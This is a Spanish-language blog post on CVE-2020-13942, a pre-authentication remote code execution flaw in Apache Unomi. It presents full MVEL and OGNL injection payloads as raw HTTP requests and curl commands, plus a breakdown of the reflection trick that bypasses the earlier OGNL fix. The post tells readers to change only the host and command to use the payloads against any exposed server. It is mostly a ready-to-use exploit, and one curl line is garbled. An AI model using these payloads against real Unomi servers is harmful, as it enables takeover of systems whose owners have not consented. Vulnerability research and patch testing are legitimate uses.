RCE sin autenticación previa en Apache Unomi mediante inyecciones MVEL y OGNL (CVE-2020-13942)

Unomi es una plataforma de Apache hecha en Java para manejar datos de cliente. Recientemente Eugene Rojavski publicaba aquí una vulnerabilidad de ejecución remota de código o RCE sin necesidad previa de autenticación. 

Para la misma. hay dos vectores: mediante inyección MVEL y mediante inyección OGNL. Ambos apuntan a un código diferente, aunque los payloads son relativamente similares. 

El fix del CVE anterior https://nvd.nist.gov/vuln/detail/CVE-2020-11975 intentó limitar la ejecución de expresiones OGNL, pero omitió completamente MVEL. El CVE-2020-13942 bypassea el parche realizado en la versión 1.5.1. 

A continuación se muestran las peticiones HTTP (BurpSuite o curl) para obtener RCE contra cualquier servidor Unomi expuesto. Solo hay que cambiar el host y el Content-length de acuerdo con la URL de destino y el comando del sistema operativo. 

*Ambas POCs podrían obtener un 'HTTP/1.1 400 Header Folding' como respuesta, normalmente debido a que falta un \r\n en el payload. Si ocurre, intentar copiarlo y pegarlo otra vez. 

1) MVEL POC 

HTTP request

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}
Curl:
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

2) OGNL POC

Mediante OGNL se bypasseaba la restricción del ClassLoader introducida por la versión 1.5.1. Usando la API reflections de Java, es posible crear un objeto sin activar el método ClassLoader.loadClass que restringe las expresiones OGNL evaluadas. 

El desglose del payload OGNL es el siguiente: 

- La primera expresión #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crea un objeto de clase java.lang.Runtime, donde #this es la referencia al objeto de contexto. 

- La segunda expresión #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtiene la lista de métodos de la clase Runtime a través de reflections y elige el método getRuntime de la lista . La parte {^ #this.name.equals(\"getRuntime\")} de la expresión busca un método con el nombre getRuntime y devuelve una lista de los métodos que coinciden con la condición; el primer y único método de esta lista es getRuntime. 

- La tercera expresión #runtimeobject = #runtimemethod.invoke(null,null) llama al método getRuntime() y obtiene el objeto Runtime. 

- La cuarta expresión (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtiene los métodos de la clase Runtime y recupera Runtime.exec() con una sola cadena como argumento fuera de la lista de métodos. 

- La expresión final #execmethod.invoke(#runtimeobject,\"gnome-calculator\") calls Runtime.exec() llama a Runtime.exec() con el argumento especificado. 

HTTP Request

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068



{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"eugenebmx"
} 
Curl
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'

Por supuesto el uso de estos payloads son solo para fines educativos, nosotros nos suscribimos también al descargo de responsabilidad de su autor :-)

Repo: https://github.com/eugenebmx/CVE-2020-13942

Comentarios